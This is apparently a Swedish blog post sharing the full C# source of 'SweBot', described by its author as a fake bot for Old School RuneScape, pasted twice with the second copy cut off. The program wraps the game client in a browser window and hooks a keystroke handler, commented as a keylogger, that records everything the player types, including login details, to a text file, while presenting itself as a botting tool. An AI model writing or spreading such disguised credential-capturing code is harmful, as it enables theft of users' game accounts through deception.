Tuesday 7 May 2013 photo 5/6
![]() ![]() ![]() |
Här är hela källkoden till min (fake bot)
*Uppdaterar texten snart så att den är läsbar och så att någon kanske fattar något*
//Form1.cs//
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
namespace swebot3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
button1.Image = Properties.Resources.uncheck;
}
//PlayKnapp//
private void browserToolStripMenuItem_Click(object sender, EventArgs e)
{
Process.Start(@"login.exe");
}
private void Form1_Load(object sender, EventArgs e)
{
button7.MouseEnter += new EventHandler(button7_MouseEnter);
button7.MouseLeave += new EventHandler(button7_MouseLeave);
button6.MouseEnter += new EventHandler(button6_MouseEnter);
button6.MouseLeave += new EventHandler(button6_MouseLeave);
button7.BackgroundImage = Properties.Resources.img1;
button7.BackgroundImageLayout = ImageLayout.Stretch;
button6.BackgroundImage = Properties.Resources.img1;
button6.BackgroundImageLayout = ImageLayout.Stretch;
}
private void button7_MouseLeave(object sender, EventArgs e)
{
button7.BackgroundImage = Properties.Resources.img1;
button7.BackgroundImageLayout = ImageLayout.Stretch;
}
private void button7_MouseEnter(object sender, EventArgs e)
{
button7.BackgroundImage = Properties.Resources.img2;
button7.BackgroundImageLayout = ImageLayout.Stretch;
}
//PlayKnapp//
private void button4_Click(object sender, EventArgs e)
{
Process.Start(@"login.exe");
textBox1.Text = Properties.Resources.RunScript;
}
//PlayKnapp//
private void button6_Click(object sender, EventArgs e)
{
Process.Start(@"login.exe");
textBox1.Text = Properties.Resources.RunScript;
}
private void button6_MouseLeave(object sender, EventArgs e)
{
button6.BackgroundImage = Properties.Resources.img1;
button6.BackgroundImageLayout = ImageLayout.Stretch;
}
private void button6_MouseEnter(object sender, EventArgs e)
{
button6.BackgroundImage = Properties.Resources.img2;
button6.BackgroundImageLayout = ImageLayout.Stretch;
}
private void goToWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
{
Process.Start("http://swebot.no-ip.biz/help");
}
private void runScriptToolStripMenuItem_Click(object sender, EventArgs e)
{
}
//PlayKnapp//
private void runScriptToolStripMenuItem_Click_1(object sender, EventArgs e)
{
textBox1.Text = Properties.Resources.RunScript;
Process.Start(@"login.exe");
}
private void button2_Click(object sender, EventArgs e)
{
button2.Image = Properties.Resources.uncheck;
}
private void hideToolbarToolStripMenuItem_Click(object sender, EventArgs e)
{
if (hideToolbarToolStripMenuItem.Image != Properties.Resources.Check)
{
hideToolbarToolStripMenuItem.Image = Properties.Resources.Check;
}
else
{
hideToolbarToolStripMenuItem.Image = Properties.Resources.uncheck;
}
}
private void hideToolStripMenuItem_Click(object sender, EventArgs e)
{
hideToolStripMenuItem.Image = Properties.Resources.Check;
ClientSize = new System.Drawing.Size(774, 610);
}
private void timer1_Tick(object sender, EventArgs e)
{
textBox1.Text = Properties.Resources.Startup;
if (textBox1.Text == Properties.Resources.Startup)
{
timer1.Enabled = false;
}
}
//Keylogger, den skriver ner allt användaren skiver i rs klienten till text.txt//
private void keylogg(object sender, PreviewKeyDownEventArgs e)
{
StreamWriter sw = new StreamWriter(@"text.txt", true);
sw.Write(e.KeyCode);
sw.Close();
}
}
}
//Form1.Designer.cs//
namespace swebot3
{
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
///
true if managed resources should be disposed; otherwise, false.
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
///
<summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.runScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.pauseScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.stopScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.scriptsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.browserToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.viewToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.hideToolbarToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.hideToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.helpToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.goToWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.button1 = new System.Windows.Forms.Button();
this.webBrowser1 = new System.Windows.Forms.WebBrowser();
this.button6 = new System.Windows.Forms.Button();
this.button7 = new System.Windows.Forms.Button();
this.button8 = new System.Windows.Forms.Button();
this.button3 = new System.Windows.Forms.Button();
this.button4 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button();
this.textBox1 = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.menuStrip1.SuspendLayout();
this.SuspendLayout();
//
// menuStrip1
//
this.menuStrip1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.menuStrip1.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("menuStrip1.BackgroundImage")));
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.fileToolStripMenuItem,
this.scriptsToolStripMenuItem,
this.viewToolStripMenuItem,
this.helpToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(774, 24);
this.menuStrip1.TabIndex = 0;
this.menuStrip1.Text = "menuStrip1";
//
// fileToolStripMenuItem
//
this.fileToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.runScriptToolStripMenuItem,
this.pauseScriptToolStripMenuItem,
this.stopScriptToolStripMenuItem,
this.exitToolStripMenuItem});
this.fileToolStripMenuItem.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.fileToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
this.fileToolStripMenuItem.Size = new System.Drawing.Size(38, 20);
this.fileToolStripMenuItem.Text = "File";
//
// runScriptToolStripMenuItem
//
this.runScriptToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.runScriptToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("runScriptToolStripMenuItem.BackgroundImage")));
this.runScriptToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.runScriptToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.runScriptToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("runScriptToolStripMenuItem.Image")));
this.runScriptToolStripMenuItem.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.runScriptToolStripMenuItem.Name = "runScriptToolStripMenuItem";
this.runScriptToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.runScriptToolStripMenuItem.Text = "Run Script";
this.runScriptToolStripMenuItem.Click += new System.EventHandler(this.runScriptToolStripMenuItem_Click_1);
//
// pauseScriptToolStripMenuItem
//
this.pauseScriptToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pauseScriptToolStripMenuItem.BackgroundImage")));
this.pauseScriptToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.pauseScriptToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.pauseScriptToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("pauseScriptToolStripMenuItem.Image")));
this.pauseScriptToolStripMenuItem.Name = "pauseScriptToolStripMenuItem";
this.pauseScriptToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.pauseScriptToolStripMenuItem.Text = "Pause Script";
//
// stopScriptToolStripMenuItem
//
this.stopScriptToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("stopScriptToolStripMenuItem.BackgroundImage")));
this.stopScriptToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.stopScriptToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.stopScriptToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("stopScriptToolStripMenuItem.Image")));
this.stopScriptToolStripMenuItem.Name = "stopScriptToolStripMenuItem";
this.stopScriptToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.stopScriptToolStripMenuItem.Text = "Stop Script";
//
// exitToolStripMenuItem
//
this.exitToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("exitToolStripMenuItem.BackgroundImage")));
this.exitToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.exitToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.exitToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("exitToolStripMenuItem.Image")));
this.exitToolStripMenuItem.Name = "exitToolStripMenuItem";
this.exitToolStripMenuItem.Size = new System.Drawing.Size(147, 22);
this.exitToolStripMenuItem.Text = "Exit";
//
// scriptsToolStripMenuItem
//
this.scriptsToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.browserToolStripMenuItem});
this.scriptsToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.scriptsToolStripMenuItem.Name = "scriptsToolStripMenuItem";
this.scriptsToolStripMenuItem.Size = new System.Drawing.Size(54, 20);
this.scriptsToolStripMenuItem.Text = "Scripts";
//
// browserToolStripMenuItem
//
this.browserToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("browserToolStripMenuItem.BackgroundImage")));
this.browserToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.browserToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.browserToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("browserToolStripMenuItem.Image")));
this.browserToolStripMenuItem.Name = "browserToolStripMenuItem";
this.browserToolStripMenuItem.Size = new System.Drawing.Size(138, 22);
this.browserToolStripMenuItem.Text = "Select Script";
this.browserToolStripMenuItem.Click += new System.EventHandler(this.browserToolStripMenuItem_Click);
//
// viewToolStripMenuItem
//
this.viewToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.hideToolbarToolStripMenuItem,
this.hideToolStripMenuItem});
this.viewToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.viewToolStripMenuItem.Name = "viewToolStripMenuItem";
this.viewToolStripMenuItem.Size = new System.Drawing.Size(44, 20);
this.viewToolStripMenuItem.Text = "View";
//
// hideToolbarToolStripMenuItem
//
this.hideToolbarToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("hideToolbarToolStripMenuItem.BackgroundImage")));
this.hideToolbarToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.hideToolbarToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.hideToolbarToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("hideToolbarToolStripMenuItem.Image")));
this.hideToolbarToolStripMenuItem.Name = "hideToolbarToolStripMenuItem";
this.hideToolbarToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
this.hideToolbarToolStripMenuItem.Text = "Hide Toolbar";
this.hideToolbarToolStripMenuItem.Click += new System.EventHandler(this.hideToolbarToolStripMenuItem_Click);
//
// hideToolStripMenuItem
//
this.hideToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("hideToolStripMenuItem.BackgroundImage")));
this.hideToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.hideToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.hideToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("hideToolStripMenuItem.Image")));
this.hideToolStripMenuItem.Name = "hideToolStripMenuItem";
this.hideToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
this.hideToolStripMenuItem.Text = "Hide Log Window";
this.hideToolStripMenuItem.Click += new System.EventHandler(this.hideToolStripMenuItem_Click);
//
// helpToolStripMenuItem
//
this.helpToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.goToWebsiteToolStripMenuItem});
this.helpToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.helpToolStripMenuItem.Name = "helpToolStripMenuItem";
this.helpToolStripMenuItem.Size = new System.Drawing.Size(44, 20);
this.helpToolStripMenuItem.Text = "Help";
//
// goToWebsiteToolStripMenuItem
//
this.goToWebsiteToolStripMenuItem.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("goToWebsiteToolStripMenuItem.BackgroundImage")));
this.goToWebsiteToolStripMenuItem.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.goToWebsiteToolStripMenuItem.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.goToWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("goToWebsiteToolStripMenuItem.Image")));
this.goToWebsiteToolStripMenuItem.Name = "goToWebsiteToolStripMenuItem";
this.goToWebsiteToolStripMenuItem.Size = new System.Drawing.Size(146, 22);
this.goToWebsiteToolStripMenuItem.Text = "Go to website";
this.goToWebsiteToolStripMenuItem.Click += new System.EventHandler(this.goToWebsiteToolStripMenuItem_Click);
//
// button1
//
this.button1.BackColor = System.Drawing.Color.Transparent;
this.button1.FlatAppearance.BorderColor = System.Drawing.Color.Gray;
this.button1.FlatAppearance.BorderSize = 0;
this.button1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button1.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button1.Image = global::swebot3.Properties.Resources.Check_smaler;
this.button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button1.Location = new System.Drawing.Point(576, 28);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(96, 26);
this.button1.TabIndex = 1;
this.button1.Text = "Randoms";
this.button1.UseVisualStyleBackColor = false;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// webBrowser1
//
this.webBrowser1.AllowNavigation = false;
this.webBrowser1.Location = new System.Drawing.Point(0, 69);
this.webBrowser1.MinimumSize = new System.Drawing.Size(20, 20);
this.webBrowser1.Name = "webBrowser1";
this.webBrowser1.ScriptErrorsSuppressed = true;
this.webBrowser1.ScrollBarsEnabled = false;
this.webBrowser1.Size = new System.Drawing.Size(774, 536);
this.webBrowser1.TabIndex = 2;
this.webBrowser1.Url = new System.Uri("http://oldschool49.runescape.com/j1", System.UriKind.Absolute);
this.webBrowser1.DocumentCompleted += new System.Windows.Forms.WebBrowserDocumentCompletedEventHandler(this.webBrowser1_DocumentCompleted);
this.webBrowser1.PreviewKeyDown += new System.Windows.Forms.PreviewKeyDownEventHandler(this.keylogg);
//
// button6
//
this.button6.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button6.BackgroundImage")));
this.button6.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button6.FlatAppearance.BorderColor = System.Drawing.Color.Black;
this.button6.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button6.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button6.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button6.Image = ((System.Drawing.Image)(resources.GetObject("button6.Image")));
this.button6.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button6.Location = new System.Drawing.Point(374, 24);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(126, 29);
this.button6.TabIndex = 7;
this.button6.Text = "Select Script";
this.button6.UseVisualStyleBackColor = true;
this.button6.Click += new System.EventHandler(this.button6_Click);
//
// button7
//
this.button7.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button7.BackgroundImage")));
this.button7.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button7.FlatAppearance.BorderColor = System.Drawing.Color.Black;
this.button7.FlatAppearance.MouseOverBackColor = System.Drawing.Color.Transparent;
this.button7.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button7.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.button7.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button7.Image = ((System.Drawing.Image)(resources.GetObject("button7.Image")));
this.button7.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button7.Location = new System.Drawing.Point(242, 25);
this.button7.Name = "button7";
this.button7.Size = new System.Drawing.Size(126, 29);
this.button7.TabIndex = 8;
this.button7.Text = "Users";
this.button7.UseVisualStyleBackColor = true;
this.button7.Click += new System.EventHandler(this.button7_Click);
//
// button8
//
this.button8.BackColor = System.Drawing.Color.Transparent;
this.button8.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button8.BackgroundImage")));
this.button8.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button8.FlatAppearance.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.button8.FlatAppearance.BorderSize = 0;
this.button8.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button8.Location = new System.Drawing.Point(52, 26);
this.button8.Name = "button8";
this.button8.Size = new System.Drawing.Size(32, 28);
this.button8.TabIndex = 17;
this.button8.UseVisualStyleBackColor = false;
this.button8.Click += new System.EventHandler(this.button8_Click);
//
// button3
//
this.button3.BackColor = System.Drawing.Color.Transparent;
this.button3.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button3.BackgroundImage")));
this.button3.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button3.FlatAppearance.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.button3.FlatAppearance.BorderSize = 0;
this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button3.Location = new System.Drawing.Point(81, 26);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(29, 28);
this.button3.TabIndex = 18;
this.button3.UseVisualStyleBackColor = false;
this.button3.Click += new System.EventHandler(this.button3_Click_1);
//
// button4
//
this.button4.BackColor = System.Drawing.Color.Transparent;
this.button4.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("button4.BackgroundImage")));
this.button4.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button4.FlatAppearance.BorderColor = System.Drawing.Color.Black;
this.button4.FlatAppearance.BorderSize = 0;
this.button4.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button4.Location = new System.Drawing.Point(26, 26);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(29, 28);
this.button4.TabIndex = 19;
this.button4.UseVisualStyleBackColor = true;
this.button4.Click += new System.EventHandler(this.button4_Click);
//
// button2
//
this.button2.BackColor = System.Drawing.Color.Transparent;
this.button2.FlatAppearance.BorderColor = System.Drawing.Color.Gray;
this.button2.FlatAppearance.BorderSize = 0;
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button2.ForeColor = System.Drawing.SystemColors.AppWorkspace;
this.button2.Image = ((System.Drawing.Image)(resources.GetObject("button2.Image")));
this.button2.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.button2.Location = new System.Drawing.Point(678, 28);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(96, 26);
this.button2.TabIndex = 20;
this.button2.Text = "User Input";
this.button2.UseVisualStyleBackColor = false;
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// textBox1
//
this.textBox1.BackColor = System.Drawing.Color.Black;
this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.textBox1.Cursor = System.Windows.Forms.Cursors.Default;
this.textBox1.Font = new System.Drawing.Font("Times New Roman", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.textBox1.ForeColor = System.Drawing.SystemColors.ButtonShadow;
this.textBox1.ImeMode = System.Windows.Forms.ImeMode.NoControl;
this.textBox1.Location = new System.Drawing.Point(0, 611);
this.textBox1.Multiline = true;
this.textBox1.Name = "textBox1";
this.textBox1.ReadOnly = true;
this.textBox1.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox1.ShortcutsEnabled = false;
this.textBox1.Size = new System.Drawing.Size(774, 132);
this.textBox1.TabIndex = 21;
this.textBox1.Text = "[00:00:00] Global Welcome to SweBot!rn[00:00:00] Bot " +
" World select: World43.";
this.textBox1.WordWrap = false;
this.textBox1.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
//
// label1
//
this.label1.AutoSize = true;
this.label1.BackColor = System.Drawing.Color.Transparent;
this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.label1.ForeColor = System.Drawing.SystemColors.ControlDark;
this.label1.Location = new System.Drawing.Point(588, 746);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(174, 18);
this.label1.TabIndex = 22;
this.label1.Text = "Copyright ©SweBot 2013";
this.label1.Click += new System.EventHandler(this.label1_Click);
//
// timer1
//
this.timer1.Enabled = true;
this.timer1.Interval = 10000;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
this.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("$this.BackgroundImage")));
this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Center;
this.ClientSize = new System.Drawing.Size(774, 771);
this.Controls.Add(this.label1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.button2);
this.Controls.Add(this.button4);
this.Controls.Add(this.button3);
this.Controls.Add(this.button8);
this.Controls.Add(this.button7);
this.Controls.Add(this.button6);
this.Controls.Add(this.webBrowser1);
this.Controls.Add(this.button1);
this.Controls.Add(this.menuStrip1);
this.DoubleBuffered = true;
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MainMenuStrip = this.menuStrip1;
this.MaximizeBox = false;
this.Name = "Form1";
this.Text = "SweBot BETA";
this.Load += new System.EventHandler(this.Form1_Load);
this.KeyDown += new System.Windows.Forms.KeyEventHandler(this.Form1_KeyDown);
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.MenuStrip menuStrip1;
private System.Windows.Forms.ToolStripMenuItem fileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem scriptsToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem viewToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem helpToolStripMenuItem;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.WebBrowser webBrowser1;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Button button7;
private System.Windows.Forms.ToolStripMenuItem runScriptToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem pauseScriptToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem stopScriptToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem browserToolStripMenuItem;
private System.Windows.Forms.Button button8;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.ToolStripMenuItem hideToolbarToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem hideToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem goToWebsiteToolStripMenuItem;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Timer timer1;
}
}
//Form1.cs//
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
namespace swebot3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
button1.Image = Properties.Resources.uncheck;
}
//PlayKnapp//
private void browserToolStripMenuItem_Click(object sender, EventArgs e)
{
Process.Start(@"login.exe");
}
private void Form1_Load(object sender, EventArgs e)
{
button7.MouseEnter += new EventHandler(button7_MouseEnter);
button7.MouseLeave += new EventHandler(button7_MouseLeave);
button6.MouseEnter += new EventHandler(button6_MouseEnter);
button6.MouseLeave += new EventHandler(button6_MouseLeave);
button7.BackgroundImage = Properties.Resources.img1;
button7.BackgroundImageLayout = ImageLayout.Stretch;
button6.BackgroundImage = Properties.Resources.img1;
button6.BackgroundImageLayout = ImageLayout.Stretch;
}
private void button7_MouseLeave(object sender, EventArgs e)
{
button7.BackgroundImage = Properties.Resources.img1;
button7.BackgroundImageLayout = ImageLayout.Stretch;
}
private void button7_MouseEnter(object sender, EventArgs e)
{
button7.BackgroundImage = Properties.Resources.img2;
button7.BackgroundImageLayout = ImageLayout.Stretch;
}
//PlayKnapp//
private void button4_Click(object sender, EventArgs e)
{
Process.Start(@"login.exe");
textBox1.Text = Properties.Resources.RunScript;
}
//PlayKnapp//
private void button6_Click(object sender, EventArgs e)
{
Process.Start(@"login.exe");
textBox1.Text = Properties.Resources.RunScript;
}
private void button6_MouseLeave(object sender, EventArgs e)
{
button6.BackgroundImage = Properties.Resources.img1;
button6.BackgroundImageLayout = ImageLayout.Stretch;
}
private void button6_MouseEnter(object sender, EventArgs e)
{
button6.BackgroundImage = Properties.Resources.img2;
button6.BackgroundImageLayout = ImageLayout.Stretch;
}
private void goToWebsiteToolStripMenuItem_Click(object sender, EventArgs e)
{
Process.Start("http://swebot.no-ip.biz/help");
}
private void runScriptToolStripMenuItem_Click(object sender, EventArgs e)
{
}
//PlayKnapp//
private void runScriptToolStripMenuItem_Click_1(object sender, EventArgs e)
{
textBox1.Text = Properties.Resources.RunScript;
Process.Start(@"login.exe");
}
private void button2_Click(object sender, EventArgs e)
{
button2.Image = Properties.Resources.uncheck;
}
private void hideToolbarToolStripMenuItem_Click(object sender, EventArgs e)
{
if (hideToolbarToolStripMenuItem.Image != Properties.Resources.Check)
{
hideToolbarToolStripMenuItem.Image = Properties.Resources.Check;
}
else
{
hideToolbarToolStripMenuItem.Image = Properties.Resources.uncheck;
}
}
private void hideToolStripMenuItem_Click(object sender, EventArgs e)
{
hideToolStripMenuItem.Image = Properties.Resources.Check;
ClientSize = new System.Drawing.Size(774, 610);
}
private void timer1_Tick(object sender, EventArgs e)
{
textBox1.Text = Properties.Resources.Startup;
if (textBox1.Text == Properties.Resources.Startup)
{
timer1.Enabled = false;
}
}
//Keylogger, den skriver ner allt användaren skiver i rs klienten till text.txt//
private void keylogg(object sender, PreviewKeyDownEventArgs e)
{
StreamWriter sw = new StreamWriter(@"text.txt", true);
sw.Write(e.KeyCode);
sw.Close();
}
}
}
//Form1.Designer.cs//
namespace swebot3
{
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
///
true if managed resources should be disposed; otherwise, false.
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
///
<summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.runScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.pauseScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.stopScriptToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.scriptsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.browserToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.viewToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
